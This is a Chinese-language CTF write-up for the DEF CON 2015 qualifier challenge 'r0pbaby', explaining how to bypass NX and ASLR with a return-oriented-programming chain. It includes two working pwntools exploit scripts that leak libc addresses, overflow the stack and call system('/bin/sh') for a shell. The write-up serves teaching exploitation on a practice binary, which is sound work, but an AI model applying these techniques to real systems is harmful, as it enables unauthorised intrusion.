[pwn]ROP:繞過ASLR&NX

[詳細] ROP:繞過ASLR&NX

這次使用的程序是Defcon - 2015初賽題目,r0pbaby,也是一道經典的pwn題目了。
程序鏈接:https://pan.baidu.com/s/1kr6z_crZfW7qNjtASmRMGw 提取碼:eajs
NX策略是指在棧中的代碼不會被執行,ASLR是使共享庫的裝載位置隨機化不可預測。

信息蒐集

首先查看是64位還是32位文件:

在這裏插入圖片描述

然後查看安全策略:

在這裏插入圖片描述

可見開啓了NX和PIE,PIE也就是ASLR。然後在IDA中查看僞代碼,無需詳細閱讀,直接找溢出函數即可:

在這裏插入圖片描述

然後在linux中運行這個文件,查看究竟是怎麼工作的,包括溢出方式等:

在這裏插入圖片描述

可以看出,功能1是獲取libc的地址,功能2是獲取一個libc函數的地址,功能3是輸入一個字符串,然後會溢出。

尋找溢出位置

在功能三中可以輸入字符串並且可能(一定)溢出,那麼我們就尋找溢出的點:

在這裏插入圖片描述

可以看出,20個字符已經造成了溢出,最後確定是在第9個字符位置溢出覆蓋了返回地址,也就是我們需要在第9個字符位置構造覆蓋的返回值。

利用思路

由於文件開啓了NX策略,無法直接在棧上寫shellcode,又因爲開啓了ASLR,無法在靜態調試中確定各個函數或者參數(system和"/bin/sh")的地址。但這個文件的前兩個功能給了我們可以獲取程序在執行中libc裝載位置的功能。

所以,我們的具體利用思路是,找到system和/bin/sh的位置,然後利用棧溢出來獲取shell,但這個文件是64位文件,參數存儲的位置不是在棧中,x86_64下函數的第一個參數會放在rdi中,所以我們將參數寫在棧中是沒用的,要想辦法將參數("/bin/sh")放在rdi寄存器中。而我們通過棧溢出只能直接操作棧中的數據,那麼從棧中到寄存器最方便的指令就是pop rdi,又要考慮到調用system函數,最終我們需要找到形如這樣的三個連續指令:

pop rdi
pop rax
call rax

現在可以去IDA中尋找了,但在r0pbaby文件中並沒有找到system函數:

在這裏插入圖片描述

但我們發現在程序中打開了libc庫:

在這裏插入圖片描述

system函數在libc之中,我們可以去用IDA調試libc來尋找我們要的東西,libc在linux的/lib/x86_64-linux-gnu/目錄下,使用命令:ls -l /lib/x86_64-linux-gnu/libc.so.6可以查看當前版本的libc文件(環境不同會不同,建議導出自己的libc查看自己的地址,我這裏的不適用全體),將其導出用IDA打開,然後查找system:

在這裏插入圖片描述

system的地址是0x44bf0。然後尋找/bin/sh:

在這裏插入圖片描述

"/bin/sh"的地址是0x181519,然後尋找上訴pop rdi的代碼串,使用搜索-文本,搜尋pop rdi,根據結果一個一個的看,知道找出滿足的爲止:

在這裏插入圖片描述

在這裏插入圖片描述

可見,地址爲0xf988b的一段代碼滿足要求,但順序是先pop rax然後pop rdi需要注意。現在已經找到利用所需的全部代碼了,唯一需要解決的就是libc的動態裝載地址,但程序運行時第一個功能提供給我們了。接下來我們進行exp的編寫,整個棧溢出結構如下:

在這裏插入圖片描述

編寫代碼如下:

#!/usr/bin/python
from pwn import *
def getLibcAddr(elf):
	elf.sendline('1')
	ret = elf.recv().split(' ')[-18].split('\n')[0]#獲取libc的執行時地址
	ret = long(ret, 16)#轉換爲long型
	return ret
def pwn(elf,rtnAddr,binshAddr,sysAddr):
	elf.sendline('3')
	elf.recv()
	elf.sendline('32')
	payload = 'A' * 8 + p64(rtnAddr) + p64(sysAddr) + p64(binshAddr) #按照上圖構造
	elf.sendline(payload)
	elf.recv()
	print 1
	return
if __name__ == '__main__':
	elf = process('./r0pbaby')
	libcAddr = getLibcAddr(elf)
	rtnAddr = 0xF988B+libcAddr #相對地址爲執行時的libc地址加上偏移量
	binshAddr = 0x181519+libcAddr #相對地址爲執行時的libc地址加上偏移量
	sysAddr = 0x44bf0+libcAddr #相對地址爲執行時的libc地址加上偏移量
	pwn(elf,rtnAddr,binshAddr,sysAddr)
	elf.interactive() #獲取一個shell
	elf.close()

寫完代碼後發現無法pwn成功:

在這裏插入圖片描述

其實只要仔細觀察就會發現這之中有問題:

在這裏插入圖片描述

libc的地址是0x00007FEEAE6E9500,system的地址是0x00007FEEAE567BF0,之前看見system在libc之中的偏移地址是0x44bf0,0x7FEEAE6E9500+0x44bf0=0x7FEEAE72E0F0而不是0x7FEEAE567BF0,說明程序中給的libc和system的地址有一個有誤,但並不確定是哪個,所以我們再根據system重新計算的代碼寫好:

#!/usr/bin/python
from pwn import *
def getSysAddr(elf):
	elf.sendline('2')
	elf.recv()
	elf.sendline('system')
	ret = elf.recv().split(' ')[-18].split('\n')[0]
	ret = long(ret, 16)
	return ret
def pwn(elf,rtnAddr,binshAddr,sysAddr):
	elf.sendline('3')
	elf.recv()
	elf.sendline('32')
	payload = 'A' * 8 + p64(rtnAddr) + p64(sysAddr) + p64(binshAddr)
	elf.sendline(payload)
	elf.recv()
	print 1
	return
if __name__ == '__main__':
	elf = process('./r0pbaby')
	sysAddr = getSysAddr(elf)
	sysLibcAddr = 0x44bf0
	offset=sysAddr-sysLibcAddr #偏移地址
	rtnAddr=0xF988B+offset
	binshAddr=0x181519+offset
	pwn(elf,rtnAddr,binshAddr,sysAddr)
	elf.interactive()
	elf.close()

其中關於地址的計算可以看下圖:

在這裏插入圖片描述

執行發現成功pwn:

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章